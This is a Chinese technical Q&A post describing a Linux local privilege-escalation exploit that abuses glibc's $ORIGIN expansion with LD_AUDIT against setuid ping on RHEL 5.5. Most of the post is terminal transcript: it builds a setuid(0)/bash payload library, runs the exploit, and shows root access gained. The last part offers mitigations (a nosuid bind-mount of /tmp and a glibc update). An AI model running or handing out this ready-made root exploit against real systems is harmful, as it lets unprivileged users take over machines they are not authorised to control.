互联网服务Linux

linux gcc++漏洞:普通用户获得root权限

linux gcc++漏洞:普通用户获得root权限  


Crushlinux 已经在RHEL5.5 32上测试过


原理:The GNU C library dynamic linker expands $ORIGIN in setuid library search path


1、创建一个普通测试用户:



1

2

3

4

5

6

7

[root@crushlinux4 ~]# useradd test
[root@crushlinux4 ~]# passwd test
Changing password for user test.
New UNIX password:
BAD PASSWORD: it is too short
Retype new UNIX password:
passwd: all authentication tokens updated successfully.




2、切换到这个用户:



1

2

3

4

5

[root@crushlinux4 ~]# su - test
[test@crushlinux4 ~]$ whoami
test
[test@crushlinux4 ~]$ useradd user1
-bash: useradd: command not found




3、开始提权



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

[test@crushlinux4 ~]$ mkdir /tmp/exploit
[test@crushlinux4 ~]$ ln /bin/ping /tmp/exploit/target
[test@crushlinux4 ~]$ exec 3< /tmp/exploit/target
[test@crushlinux4 ~]$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 08-07 17:43 /proc/5922/fd/3 -> /tmp/exploit/target
[test@crushlinux4 ~]$ rm -rf /tmp/exploit/
[test@crushlinux4 ~]$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 08-07 17:43 /proc/5922/fd/3 -> /tmp/exploit/target (deleted)
[test@crushlinux4 ~]$ cat > payload.c
----------------------------------------
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
----------------------------------------
[test@crushlinux4 ~]$ cat payload.c
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
[test@crushlinux4 ~]$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
[test@crushlinux4 ~]$ ls -l /tmp/exploit
-rwxrwxr-x 1 test test 4223 08-07 17:43 /tmp/exploit
[test@crushlinux4 ~]$ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
            [-M mtu discovery hint] [-S sndbuf]
            [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination




4、权限验证:



1

2

3

4

5

6

7

8

[root@crushlinux4 ~]# whoami
root
[root@crushlinux4 ~]# useradd user1
[root@crushlinux4 ~]# useradd user2
[root@crushlinux4 ~]# ls /home/
test  user1  user2
[root@crushlinux4 ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)




大家看到提权后的结果了,作为运维工程师遇到这类问题,就需要提供解决方法了!


有两种解决办法:

1、绑定目录

nosuid的原理:像/etc/passwd这种文件,本来只有root用户有权限修改,但是用户本身也可以修改自己的密码(超出它本身权限的行为)nosuid可以停止这种提升特权的办法。比如/tmp目录就有这样的权限,我们就需要对它严加控制。




1

2

mount -o bind /tmp /tmp
mount -o remount,bind,nosuid /tmp /tmp




2、更新glibc版本(红帽官方推荐)



1

yum -y update glibc


参与0

0同行回答

“答”则兼济天下,请您为题主分忧!

提问者

jimli
软件开发工程师jimli
擅长领域: Linux服务器大数据

相关问题

相关资料

相关文章

问题状态

  • 发布时间:2013-08-12
  • 关注会员:0 人
  • 问题浏览:1362
  • X社区推广